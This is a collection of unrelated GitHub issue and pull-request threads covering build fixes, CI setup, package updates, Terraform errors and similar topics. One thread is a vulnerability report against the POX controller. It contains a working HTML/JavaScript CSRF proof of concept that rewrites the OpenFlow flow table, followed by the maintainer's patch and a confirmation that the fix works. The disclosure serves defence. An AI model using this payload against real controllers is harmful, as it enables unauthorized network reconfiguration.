Support utf8 in kconfig values

Support utf8 in kconfig values.
We are using the CMake command 'file(STRINGS' (which defaults to only
decoding ASCII) to read Kconfig configurations. When UTF-8 characters
are detected they are treated as newlines.
This behaviour has caused issues when users have input UTF-8
characters into Kconfig values. E.g. USB device descriptor strings.
This commit adds the flag 'ENCODING "UTF-8"' to the 'file(STRINGS'
command so that UTF-8 characters are correctly passed through the
build system.
Note that this is not related to https://github.com/zephyrproject-rtos/zephyr/issues/6726
This resolves an issue that was discovered in https://github.com/zephyrproject-rtos/zephyr/issues/6649
#6649 consists of both a feature request and a bug report. So this does not resolve 6649.
This PR adds a test that proves that the fix/feature works.

@IvanSanchez : FYI.

Codecov Report

Merging #6732 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #6732   +/-   ##
=======================================
  Coverage   54.31%   54.31%
=======================================
  Files         444      444
  Lines       42179    42179
  Branches     7995     7995
=======================================
  Hits        22911    22911
  Misses      16060    16060
  Partials     3208     3208

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 43bc304...72fcd3c. Read the comment docs.

I've just tested this. Before, putting some non-ascii-7 characters in a kconfig string value would completely break my build. Now it builds (even though there are encoding issues). Multi-byte characters are gonna be a challenge still, but this seems like a good step in the right direction.
I'd say that this solves part of #6649. :+1: LGTM.


laravel php  visual studio code

application.php line 735:
class "Laravel\ui\uiserviceprovider"not found
anyone know how to fix.

What version of laravel are you using.
You are using the package composer require laravel/ui

application.php line 735: class "Laravel\ui\uiserviceprovider"not found
anyone know how to fix.

Did you finally resolve the issue? i just ran into the same problem

application.php line 735: class "Laravel\ui\uiserviceprovider"not found
anyone know how to fix.

Did you finally resolve the issue? i just ran into the same problem

did you resolved it ?


Cannot additional parameters into formData via vdropzone-sending event

My api accepts file as {'file': file} via key and value and I need to add this params

i'm using laravel as backend. Laravel using request->file('file)

sorry, solved after fixing logical errors in my cde


Where to go to enable Multi-Geo support?

It's mentioned above "Microsoft needs to configure your Exchange Online tenant for Multi-Geo support. This one-time configuration process is triggered after you order Multi-Geo and the licenses show up in our tenant." but there is no link or direction on how to enable this for your tenant. Am I missing that information or is it not on the page?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 85937c83-35db-0882-e226-a4f2f732de73
Version Independent ID: ac0b646b-0fbf-eb24-6768-07cfcd51076b
Content: Multi-Geo Capabilities in Exchange Online
Content Source: Enterprise/multi-geo-capabilities-in-exchange-online.md
Service: o365-solutions
GitHub Login: @chrisda
Microsoft Alias: chrisda

@adammodlin I added the following sentence: To order Multi-Geo, contact your Microsoft representative. For more information, see https://aka.ms/Multi-Geo.
Thanks for the feedback.


Configure PyUp to maintain dependency versions

This PR adds a config file for PyUp, so that pinned package versions are updated automatically via pull requests that PyUp submits.
There are a couple of other little things that this cleans up, so that the CI tests on the PyUp PRs are meaningful:

Drop tests for python 2 and 3.4
Add tests for python 3.7
Remove unnecessary deploy code from .travis.yml (this package is not deployed to PyPI)

This PR relates to an issue raised in #7 by @xmnlab about pinning to outdated package versions.
@kysolvik or @lwasser would you mind giving this a review?

I think so -- that's what this line is (supposed to be) doing: https://github.com/pyOpenSci/cookiecutter-pyopensci/pull/12/files#diff-50f285e3023eb0b37f3dc8671b7dace9R4

ahhh ok appveyor is failing. this looks so great @mbjoseph  lemme give this a look. but otherwise - THANK YOU!! this will be a great upgrade to our cookiecutter template

before i go any further with appveyor -- it looks like there are a few python 2.x builds

what do you guys think about dropping python 2.x support? it's being dropped everywhere these days i think

this failure may be a pip thing
You are using pip version 8.1.1, however version 19.2.3 is available.
You should consider upgrading via the 'python -m pip install --upgrade pip' command

thanks @mbjoseph !! i'm with you on that commit!! :) i also created a discourse poll just to engage people but i feel pretty strongly that we should stick to 3.x!!

Ok - let's hold off on merging this for now. I need to debug this AppVeyor stuff -- looks like we're running into permissions errors...

eeks... thanks @mbjoseph appveyor has been buggy this week. appreciate the help with this!!

some projects have moved to azure pipelines. does make sense for this repo move CI to azure pipelines?

Ok, after some fiddling AppVeyor builds are now passing. @lwasser feel free to merge this if it looks good to you!

thank you @mbjoseph this looks great. we appreciate your help with this.!!!


Clones small version of the target repo locally

Using bash currently, looking to eventually call this with python in the main script.
usage:
bash src/coderepro/get_repo.sh https://github.com/acceleratescience/large-language-models

Thanks @LydiaFrance !


Updated SQL permission enumeration

Current to 8/17/16

Hi @DRediske, I'm your friendly neighborhood Azure Pull Request Bot (You can call me AZPRBOT). Thanks for your contribution!

This seems like a small (but important) contribution, so no contribution license agreement is required at this point. Real humans will now evaluate your PR.

TTYL, AZPRBOT;

@DRediske : Thanks for your contribution to the Azure documentation! The author, @kgremban, has been notified to review your proposed change.

@DRediske thanks for going through and making these edits. I've confirmed in PowerShell, and it all looks good.

#sign-off


CST and MO-Net

Hi,
thank you very much for sharing the code for this interesting paper.
as far as I understand this is just the evaluation method, so basically the first contribution of the paper but not the second one with the CST and MO-Net right?
If thats the case, are you also going to publish the code for CST and MO-Net?
Thank you for clarifying.
Best regards

Thanks for the interest in our paper. Yes, the current released code is only the evaluation method. We will publish the code of MO-Net as soon as possible. In terms of CST, you can write simple script according to the Algorithm 1 in our paper.

Thanks for replying!
I am looking forward to the MO-Net and in the meantime will try to script the CST.
I have been playing with a lot of neural style transfer algos, but most of them just introduce too much noise/artefacts, so your approach looks really interesting to me.

The code of MO-Net has been uploaded. Good luck!

@EndyWon Thank you very much for the code.
There might be a problem with certain style images, sometimes styling just stops after 20-60 iterations and the styled image has just some artifacts.
Have you observed this problem as well in your tests and maybe found a solution?

@prometx11 This problem may be caused by the fact that the gradients of loss tuned by our automatic parameter-tuning module are too low for L-BFGS optimizer. Increasing the magnitude of loss values or weighting each loss by hand may address this problem (modify the code in Line 229-242 in MONet.py). Best!


Error in multi-language sitemap creation

Hey Tobias, thanks for your great work with the plugin.
Found a bug in 1.0.0-beta.2 using kirby 4.0.2 on php 8.2.13
During sitemap creation on a multilingual website, there is an error "Call to a member function toArray() on array".
The error occurs in config/options/sitemap.php:31 and is caused by the map function which converts Kirby\Languages to a collection of arrays.
It can be solved by using a Kirby\Toolkit\Obj instead of a simple array as return value of the map.

Thanks for your issue and the proposed fix; i'll take a look at this in a few days.

honestly i still don't understand why this is necessary but your fix works perfectly


Increase price of wasmless transfer

CHANGELOG

Increased price of wasmless (native) transfer cost to 100 million motes (0.1 CSPR)

Closes #2128

There are other chainspecs (in tests) that could also be updated.
On Fri, Sep 24, 2021 at 18:24 Michał Papierski @.***>
wrote:

@.**** approved this pull request.
LGTM
—
You are receiving this because your review was requested.
Reply to this email directly, view it on GitHub
https://github.com/casper-network/casper-node/pull/2129#pullrequestreview-763266032,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABHCGILPFNHG4UQYCPOE2ALUDSQ4RANCNFSM5EWJSEZA
.
Triage notifications on the go with GitHub Mobile for iOS
https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675
or Android
https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

--
Pozdrawiam,
Mateusz Górski

There are other chainspecs (in tests) that could also be updated.
On Fri, Sep 24, 2021 at 18:24 Michał Papierski @.> wrote: @.* approved this pull request. LGTM — You are receiving this because your review was requested. Reply to this email directly, view it on GitHub <#2129 (review)>, or unsubscribe https://github.com/notifications/unsubscribe-auth/ABHCGILPFNHG4UQYCPOE2ALUDSQ4RANCNFSM5EWJSEZA . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.
-- Pozdrawiam, Mateusz Górski

Reflected cost change in testing related chainspecs

bors r+


[Event Request] codeunit 90 "Purch.-Post".PostDistributeItemCharge - OnBeforePostDistributeItemCharge

Please add a new event OnBeforePostDistributeItemCharge.
local procedure PostDistributeItemCharge(...)
var
    ...
    IsHandled: Boolean;  //********************
begin
    //***************************
    OnBeforePostDistributeItemCharge(PurchHeader, PurchLine, TempItemLedgEntry, NonDistrQuantity, NonDistrQtyToAssign, NonDistrAmountToAssign, Sign, IndirectCostPct, IsHandled);
    if IsHandled then
        exit;
    //***************************

    if TempItemLedgEntry.FindSet() then begin
        repeat
    ....
end;

[IntegrationEvent(false, false)]
local procedure OnBeforePostDistributeItemCharge(PurchHeader: Record "Purchase Header"; PurchLine: Record "Purchase Line"; var TempItemLedgEntry: Record "Item Ledger Entry"; NonDistrQuantity: Decimal; NonDistrQtyToAssign: Decimal; NonDistrAmountToAssign: Decimal; Sign: Decimal; IndirectCostPct: Decimal)
begin
end;

Thanks for reporting this. We agree, and we’ll publish a fix asap, either in an update for the current version or in the next major release. Please do not reply to this, as we do not monitor closed issues. If you have follow-up questions or requests, please create a new issue where you reference this one.


python312Packages.gfsubsets: 2024.5.9 -> 2024.9.25

Automatic update generated by nixpkgs-update tools. This update was made based on information from passthru.updateScript.
meta.description for python312Packages.gfsubsets is: Codepoint definitions for the Google Fonts subsetter
meta.homepage for python312Packages.gfsubsets is: https://github.com/googlefonts/nam-files
meta.changelog for python312Packages.gfsubsets is: https://github.com/googlefonts/nam-files/releases/tag/v2024.02.05
Updates performed

Ran passthru.UpdateScript

To inspect upstream changes
Impact
Checks done

built on NixOS
The tests defined in passthru.tests, if any, passed
found 2024.9.25 with grep in /nix/store/b9975c1ckvqvfdv39plahczppna7cz7l-python3.12-gfsubsets-2024.9.25
found 2024.9.25 in filename of file in /nix/store/b9975c1ckvqvfdv39plahczppna7cz7l-python3.12-gfsubsets-2024.9.25

Rebuild report (if merged into master) (click to expand)

10 total rebuild path(s)

10 package rebuild(s)

First fifty rebuilds by attrpath

fontbakery
python311Packages.fontbakery
python311Packages.gfsubsets
python311Packages.gftools
python311Packages.notobuilder
python312Packages.fontbakery
python312Packages.gfsubsets
python312Packages.gftools
python312Packages.notobuilder

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/b9975c1ckvqvfdv39plahczppna7cz7l-python3.12-gfsubsets-2024.9.25 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A python312Packages.gfsubsets https://github.com/r-ryantm/nixpkgs/archive/da3bbb93dc86bdacf5ecb35319f11a6797aab29d.tar.gz

Or:
nix build github:r-ryantm/nixpkgs/da3bbb93dc86bdacf5ecb35319f11a6797aab29d#python312Packages.gfsubsets

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/b9975c1ckvqvfdv39plahczppna7cz7l-python3.12-gfsubsets-2024.9.25
ls -la /nix/store/b9975c1ckvqvfdv39plahczppna7cz7l-python3.12-gfsubsets-2024.9.25/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

16 packages built:

fontbakery (python312Packages.fontbakery)
fontbakery.dist (python312Packages.fontbakery.dist)
python311Packages.fontbakery
python311Packages.fontbakery.dist
python311Packages.gfsubsets
python311Packages.gfsubsets.dist
python311Packages.gftools
python311Packages.gftools.dist
python311Packages.notobuilder
python311Packages.notobuilder.dist
python312Packages.gfsubsets
python312Packages.gfsubsets.dist
python312Packages.gftools
python312Packages.gftools.dist
python312Packages.notobuilder
python312Packages.notobuilder.dist

Maintainer pings
cc @danc86 for testing.

[!TIP]
As a maintainer, if your package is located under pkgs/by-name/*, you can comment @NixOS/nixpkgs-merge-bot merge to automatically merge this update using the nixpkgs-merge-bot.

Add a :+1: reaction to pull requests you find important.

Done in https://github.com/NixOS/nixpkgs/commit/7724b8e05984ae4a72fff938d4dd99481a6f17ff.


feat: add auto-release

Fix: https://github.com/casdoor/casdoor-python-sdk/issues/10

@ffyuanda plz review

@Steve0x2a Please also put the test.pypi.org link here, thanks.

@Steve0x2a Please also put the test.pypi.org link here, thanks.

@ffyuanda https://test.pypi.org/project/casdoor-python-sdk-test/

@Steve0x2a According to both setuptools and PyPA, we should transition from setup.py to setup.cfg. Are there any reasons that we still need the setup.py file when packaging and distributing?

@ffyuanda This is because the semantic-release-pypi we use, I tried to just use setup.cfg, but it doesn't work normally. I also tried to use semantic-release-python, but it seems that it has a problem parsing our pyproject.xml:https://github.com/Steve0x2a/test-casdoor-python-ci/runs/5491449127?check_suite_focus=true
I thought it might be a good idea to replace an auto-release tool, but I'm not familiar with this.

@Steve0x2a @hsluoyz OK, this PR has fulfilled its mission: add auto-release. If we need a more compatible auto-release tool, we should open another PR. As for now, LGTM.

@ffyuanda @Steve0x2a why the CI doesn't run? Is there anything else we need to do to enable the CI?
https://github.com/casdoor/casdoor-python-sdk/actions

@hsluoyz If I'm not mistaken, the CI is configured to be run only n to events: push or pull request, see here
https://github.com/casdoor/casdoor-python-sdk/pull/11/files#diff-5c4edb507e52e6e8a1c65945eb84b903c293cdf29ef8194ea316c0dd89d7319eR3-R6

@hsluoyz Probably we should use a new PR or push to trigger it.

@Steve0x2a can you add a small PR like adding a few texts for README? https://github.com/casdoor/casdoor-python-sdk/issues/7

@leeqvip

@hsluoyz  I think this PR should be reversed. The configuration directory for Github Actions should be .github/workflows

Agree.


Expose port 80 so traefik can pick it up automaticlly

Currently traefik needs to be specifically told to which port to forward the traffic. Adding EXPOSE 80 to docker file allows traefik to automatically detect the port. And it is a good practice anyways.

Done in https://github.com/binwiederhier/ntfy/commit/611894fd05133dc2e32ca29a2fed73d5269f94ea, will be in next release.

I apologize for commenting on this closed issue but github doesn't seem to have any way else to contact shard. Shard, can you share your working traefik config? I'm trying to get this going now and can't seem to get it to work.


FileMover fails on Viscosity [Errno 20] Not a directory

[autopkg@vnetboot RecipeOverrides]$ autopkg run -vv Viscosity.jss.recipe
Processing Viscosity.jss.recipe...
WARNING: Viscosity.jss.recipe is missing trust info and FAIL_RECIPES_WITHOUT_TRUST_INFO is not set. Proceeding...
URLDownloader
{'Input': {'filename': u'Viscosity.dmg',
           'url': u'https://www.sparklabs.com/downloads/Viscosity.dmg'}}
URLDownloader: No value supplied for CHECK_FILESIZE_ONLY, setting default value of: False
URLDownloader: No value supplied for CURL_PATH, setting default value of: /usr/bin/curl
URLDownloader: Item at URL is unchanged.
URLDownloader: Using existing /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg
{'Output': {'pathname': u'/Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg'}}
EndOfCheckPhase
{'Input': {}}
{'Output': {}}
CodeSignatureVerifier
{'Input': {'input_path': u'/Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg/Viscosity.app',
           'requirement': u'anchor apple generic and identifier "com.viscosityvpn.Viscosity" and (certificate leaf[field.1.2.840.1136<IP_ADDRESS>.9] /* exists */ or certificate 1[field.1.2.840.1136<IP_ADDRESS>.6] /* exists */ and certificate leaf[field.1.2.840.1136<IP_ADDRESS>.13] /* exists */ and certificate leaf[subject.OU] = "34XR7GXFPX")'}}
CodeSignatureVerifier: Mounted disk image /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg
CodeSignatureVerifier: Verifying code signature...
CodeSignatureVerifier: Deep verification enabled...
CodeSignatureVerifier: Strict verification not defined. Using codesign defaults...
CodeSignatureVerifier: /private/tmp/dmg.0UEQY6/Viscosity.app: valid on disk
CodeSignatureVerifier: /private/tmp/dmg.0UEQY6/Viscosity.app: satisfies its Designated Requirement
CodeSignatureVerifier: /private/tmp/dmg.0UEQY6/Viscosity.app: explicit requirement satisfied
CodeSignatureVerifier: Signature is valid
{'Output': {}}
AppDmgVersioner
{'Input': {'dmg_path': u'/Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg'}}
AppDmgVersioner: Mounted disk image /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg
AppDmgVersioner: BundleID: com.viscosityvpn.Viscosity
AppDmgVersioner: Version: 1.7.16
{'Output': {'app_name': u'Viscosity.app',
            'bundleid': u'com.viscosityvpn.Viscosity',
            'version': u'1.7.16'}}
PkgRootCreator
{'Input': {'pkgdirs': {
    Applications = 0775;
},
           'pkgroot': u'/Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/Viscosity'}}
PkgRootCreator: Created /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/Viscosity
PkgRootCreator: Creating Applications
PkgRootCreator: Created /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/Viscosity/Applications
{'Output': {}}
FileMover
{'Input': {'source': u'/Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg/Viscosity.app',
           'target': u'/Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/Viscosity/Applications/Viscosity.app'}}
[Errno 20] Not a directory
Failed.
Receipt written to /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/receipts/Viscosity.jss-receipt-20190820-082530.plist

The following recipes failed:
    Viscosity.jss.recipe
        Error in local.jss.Viscosity: Processor: FileMover: Error: [Errno 20] Not a directory

Nothing downloaded, packaged or imported.
[autopkg@vnetboot RecipeOverrides]$

Not sure if it's a bad download or an issue with FileMover. I went and checked to see if there were additional options to give FileMover, but only source and target are available.

ah, maybe Viscosity changed their distribution method?
[autopkg@vnetboot downloads]$ mv /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg/Viscosity.app ~/Library/AutoPkg/Cache/local.jss.Viscosity/Viscosity/Applications/Viscosity.app
mv: rename /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/downloads/Viscosity.dmg/Viscosity.app to /Users/autopkg/Library/AutoPkg/Cache/local.jss.Viscosity/Viscosity/Applications/Viscosity.app: Not a directory
[autopkg@vnetboot downloads]$

Was able to build my override off of https://github.com/autopkg/crystalllized-recipes/tree/master/Viscosity


Move some common test-utils to their own crate

What changes are proposed in this pull request?

Move some useful common utils for building an in-memory delta table into their own crate.
I want to start adding tests for actually reading data to the ffi crate. To do so we need to use an InMemory object store, because all i/o in tokio fails in miri due to it using epoll, which miri doesn't support. So we'll need to build in-memory tables and use the memory:/// url to get a memory backed ObjectStore.
We already do this in read.rs in kernel, but there's no way to get at that code inside the ffi crate. So this moves a bunch of utilities for this sort of thing into its own "test-utils" crate and uses it in read.rs.
I've also cleaned up and renamed things a bit. Most of the code remains unchanged.
Follow-up PR(s) will use this in the ffi crate to test more.
How was this change tested?

Existing tests pass

weird semver fails due to
failed to parse /home/runner/work/delta-kernel-rs/delta-kernel-rs/target/semver-checks/git-9861282e77ba1e3ef3410780d490feab52e90b18/83da59f23e419fe81cc19b13b6750f4c634b28bb/Cargo.toml: no `package` table,

weird semver fails due to
failed to parse /home/runner/work/delta-kernel-rs/delta-kernel-rs/target/semver-checks/git-9861282e77ba1e3ef3410780d490feab52e90b18/83da59f23e419fe81cc19b13b6750f4c634b28bb/Cargo.toml: no `package` table,

Ahh, it's because it's trying to compare against main which doesn't have test_utils. Will only be an issue for this PR

nit: is test-utils or test_utils more idiomatic I don't remember? Also does naming not matter since this won't ever make it to crates.io?

Yeah, doesn't really matter, but we've gone camel_case for all the other crates we have, so I've updated it to make it consistent.


[studio] Maximum request body size / 413 Payload Too Large

Steps to reproduce
Steps:

Call a backend function with a payload of 630 KB

Current behavior

Expected behavior
No response
Context
I'm trying to use #1537 to improve https://www.notion.so/mui-org/DES-d648e13aa0c1468fa78622882dac6364. Tina @TinaDein  is struggling to pull the latest changes from git. So I thought maybe I could create a quick Toolpad app for it.

Now, the problem seems to be that in
https://github.com/mui/mui-toolpad/blob/0112499a6ae22422c6ed6ddf8545616d9aaae35e/packages/toolpad-studio/src/server/rpc.ts#L57
we use the default limit value: https://expressjs.com/en/resources/middleware/body-parser.html#bodyparserjsonoptions, which is '100kb'.
In Retool: https://docs.retool.com/apps/guides/components/special-inputs/file-inputs

The maximum size for uploaded files is 40MB.

The alternative is to use Toolpad Core for this, but it's not really a point yet where is ready to be used as I understand it.

  Output from `npx @mui/envinfo` goes here.

Search keywords: -

Can you try with https://pkg.csb.dev/mui/mui-toolpad/commit/4f952f42/@toolpad/studio ?


[CSRF] Attacker can insert or delete the element of flow table

Describe the bug
Attacker can insert or delete the element of flow table
To Reproduce
Steps to reproduce the behavior:

Open the HTML file and submit the form from the browser.

<meta charset="utf-8">
<script  src="http://code.jquery.com/jquery-latest.min.js"></script>

<script language ="javascript" type = "text/javascript" >
var createCORSRequest = function(method, url) {
  var xhr = new XMLHttpRequest();
  if ("withCredentials" in xhr) {
    // Most browsers.
    xhr.open(method, url, true);
  } else if (typeof XDomainRequest != "undefined") {
    // IE8 & IE9
    xhr = new XDomainRequest();
    xhr.open(method, url);
  } else {
    // CORS not supported.
    xhr = null;
  }
  return xhr;
};

var url = 'http://<IP_ADDRESS>:8000/OF/';
var method = 'POST';
var xhr = createCORSRequest(method, url);

xhr.onload = function() {
  // Success code goes here.
};

xhr.onerror = function() {
  // Error code goes here.
};

var blob= new Blob([JSON.stringify({"method":"set_table","params":{"dpid":"00-00-00-00-00-01","flows":[{"actions":[{"type":"OFPAT_OUTPUT","port":"OFPP_ALL"}], "match":{}}]}})], {type : 'application/json; charset=UTF-8'});
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = true;
xhr.send(blob);

</script>

Expected behavior
HI I found csrf bug on flow table inserting and deleting. It can be dangerous for admin. Cause attacker can insert or delete arbitrary ACL elements without admin permission.
This attack is an example because pox itself is vulnerable to CSRF attacks.
In fact, for any function that sets pox controller using the “POST“ method of the REST API, we can make arbitrary malicious settings using CSRF attack.
If an administrator accesses an arbitrary web page created by an attacker, pox can be configured with arbitrary settings
It is also possible to assume that pox is on the internal network and the administrator accesses this page from the internal network.
Screenshots

Attack result

Desktop

pox eel and master
OS: Ubuntu 18.04.1 LTS
Browser: Firefox 71.0

Solution
Check CSRF tokens in all request.

A note that this attack would seem to require that you are 1) running the OpenFlow webservice (though there are probably other variations of this), and 2) either running the POX webserver without authentication (HTTP basic or client keys) or are using the web server for browser-based usage (i.e., not just accessing the webservice from a script or something) and have therefore authenticated the browser.
Anyway, I'm not really much of a web person, but I think the above commit resolves this (assuming accesses are done using modern browsers)?

I checked the patch and it worked well against my exploit.
Thx for your great effort!
BTW, I didn't put the following code in the exploit:
xhr.withCredentials = true;

This code is necessary to put the "Authorization header" in the cross site request.
And, This information has been modified and reflected in the above issues.

Right, I enabled withCredentials for my own testing.
Thanks for the report and for checking the patch.

Hi, can I request CVE for this issue?


Refactored all likely exceptions to inherit from LarkError

Also improved some error messages.
Adds ConfigurationError to complement GrammarError.
Based on #773 by @ThatXliner

Also, stubs

I don't think it's important that everything uses assert_config, it's just a convenience function.


URGENT-chain link connection

Requirement from Riccardo
Request
We need a UX and UI for DPM and Forbole X to allow users to connect their chain accounts to their Desmos profile. I have drafted a schema of how the UX could be. It has the following pre- and post- conditions:
Pre
The user has a Desmos profile
The user has another chain account
The chain account is stored on a Ledger or the user has access to the mnemonic phrase
Post
The profile and chain accounts are connected
Schema
Chain link flow
(Original scheme here)
Deadline
Unfortunately the deadline is very tight. We want to have this feature shipped before November 25th and I would consider at most 12 days to develop it. This means that if possible it would be great to have this by the end of this week (November 12).

@calvinkei @rachelhox


Fix PaqInstall

The call to vim.list_extend in list_extend didn't had the correct arguments, causing :PaqInstall to break.
Looks like PR#12 reused the code from tbl_map

Thanks. I must have missed that.

Thanks. I must have missed that.


database creation stuck in configuration phase

Affected modules
terraform-ibm-modules/icd-postgresql/ibm
version 3.17.9
Terraform CLI and Terraform provider versions

Terraform version: 1.5.7
Provider version: 1.68.1

Terraform output

Expected behavior
databse created with conf in place
Actual behavior
configuration is stuck , terraform timed out and the database in console is always at 60%

Steps to reproduce (including links and screen captures)
use module with configuration variable set to the map below
`module "postgresql_db" {
source                     = "terraform-ibm-modules/icd-postgresql/ibm"
version                    = "3.17.9"
resource_group_id          = ibm_resource_group.resource_group.id
name                       = "${var.env}-database-postgres"
region                     = var.region
pg_version                 = var.pg_version
admin_pass                 = var.admin_pass
users                      = var.users
kms_encryption_enabled     = true
kms_key_crn                = module.key_protect_all_inclusive.keys["icd-key"].crn
existing_kms_instance_guid = module.key_protect_all_inclusive.kms_guid
resource_tags              = var.resource_tags
service_credential_names   = var.service_credential_names
access_tags                = var.access_tags
member_host_flavor         = "b3c.4x16.encrypted"
auto_scaling               = var.auto_scaling
configuration = {
shared_buffers             = 32000
max_connections            = 250
max_locks_per_transaction  = 64
max_prepared_transactions  = 0
synchronous_commit         = "local"
effective_io_concurrency   = 12
deadlock_timeout           = 10000
log_connections            = "off"
log_disconnections         = "off"
log_min_duration_statement = 100
tcp_keepalives_idle        = 200
tcp_keepalives_interval    = 50
tcp_keepalives_count       = 6
archive_timeout            = 1000
wal_level                  = "hot_standby"
max_replication_slots      = 10
max_wal_senders            = 20
}
cbr_rules = [
{
description      = "${var.env}-postgres access only from vpc"
enforcement_mode = "enabled"
account_id       = data.ibm_iam_account_settings.iam_account_settings.account_id
rule_contexts = [{
attributes = [
{
"name" : "endpointType",
"value" : "private"
},
{
name  = "networkZoneId"
value = module.cbr_zone.zone_id
}]
}]
}
]
}`
run terraform apply
Anything else

@lionelmace

@hFti I suggest you create a support case with IBM Cloud for this. This has nothing to do with our module. It also looks like you might have escaped the apply early (maybe you hit ctrl + c) ? This is never a good idea in terraform. You should always allow terraform to timeout itself or it can corrupt your state file.

I tried and the terraform timed out after 1h10mins
module.postgresql_db.ibm_database.postgresql_db: Still creating... [1h11m20s elapsed]
module.postgresql_db.ibm_database.postgresql_db: Still creating... [1h11m30s elapsed]
╷
│ Error: [ERROR] Error waiting for database (crn:v1:bluemix:public:databases-for-postgresql:eu-de:a%2Fb41a28b85f604bf6b86986adb5117b13:fa9e04bb-f9be-4262-8182-d977d87aa22e::) configuration update task to complete: [Error] Time out waiting for database task to complete
│
│   with module.postgresql_db.ibm_database.postgresql_db,
│   on .terraform/modules/postgresql_db/main.tf line 55, in resource "ibm_database" "postgresql_db":
│   55: resource "ibm_database" "postgresql_db" {

Applying new configuration also hangs at 60%.
Here are the terraform scripts I used to test: https://github.com/lionelmace/ibmcloud-utils/tree/master/terraform/icd-postgres-modules
@hFti I agree with @ocofaigh . Please create a support case.

@ocofaigh The example in the module is incorrect. It should be fixed to reflect the following changes
It's failing as logical replication is not enabled . "wal_level" must be defined properly .

Make sure that your database is configured such that logical replication can be enabled. This means the wal_level needs to be set to logical. Also, max_replication_slots and max_wal_senders must be greater than 20.

You can refer below document too.
 https://registry.terraform.io/providers/IBM-Cloud/ibm/latest/docs/resources/database

The following example does work
https://github.com/lionelmace/ibmcloud-utils/blob/master/terraform/icd-postgres-modules/database-postgres.tf

@lionelmace yea there was an ICD backend schema bug. The old schema allowed hot_standby as a value and didn't allow replica. However the new schema now allows replica (which is the default) and doesn't allow hot_standby. We will update the example now

@lionelmace Actually it was fixed already in https://github.com/terraform-ibm-modules/terraform-ibm-icd-postgresql/pull/514


[efr32] openweave-mfgn-examples initial commit for EFR32

Door-Lock and O/C-Sensor app worked on the efr32mg12
Updated Links and README for EFR32 platform
Updated Submodules
Signed-off-by: Dung Nguyen<EMAIL_ADDRESS>

fyi
“@googlebot I signed it!”
my POC has just added me to the controbutor group.
please help me to verify
thanks & regards,
dung.

From: googlebot<EMAIL_ADDRESS>Sent: Tuesday, August 11, 2020 6:33 AM
To: openweave/openweave-mfgn-examples
Cc: Dung Nguyen; Author
Subject: Re: [openweave/openweave-mfgn-examples] [efr32] openweave-mfgn-examples initial commit for EFR32 (#5)
CAUTION: This email originated from outside of the organization. Do not click links or open attachments unless you recognize the sender and know the content is safe.
Thanks for your pull request. It looks like this may be your first contribution to a Google open source project (if not, look below for help). Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).
📝 Please visit https://cla.developers.google.com/ to sign.
Once you've signed (or fixed any issues), please reply here with @googlebot I signed it! and we'll verify it.

What to do if you already signed the CLA
Individual signers

It's possible we don't have your GitHub username or you're using a different email address on your commit. Check your existing CLA datahttps://cla.developers.google.com/clas and verify that your email is set on your git commitshttps://help.github.com/articles/setting-your-email-in-git/.

Corporate signers

Your company has a Point of Contact who decides which employees are authorized to participate. Ask your POC to be added to the group of authorized contributors. If you don't know who your Point of Contact is, direct the Google project maintainer to go/cla#troubleshoothttp://go/cla#troubleshoot (Public versionhttps://opensource.google/docs/cla/#troubleshoot).
The email used to register you as an authorized contributor must be the email used for the Git commit. Check your existing CLA datahttps://cla.developers.google.com/clas and verify that your email is set on your git commitshttps://help.github.com/articles/setting-your-email-in-git/.
The email used to register you as an authorized contributor must also be attached to your GitHub accounthttps://github.com/settings/emails.

ℹ Googlers: Go herehttps://goto.google.com/prinfo/https%3A%2F%2Fgithub.com%2Fopenweave%2Fopenweave-mfgn-examples%2Fpull%2F5 for more info.
—
You are receiving this because you authored the thread.
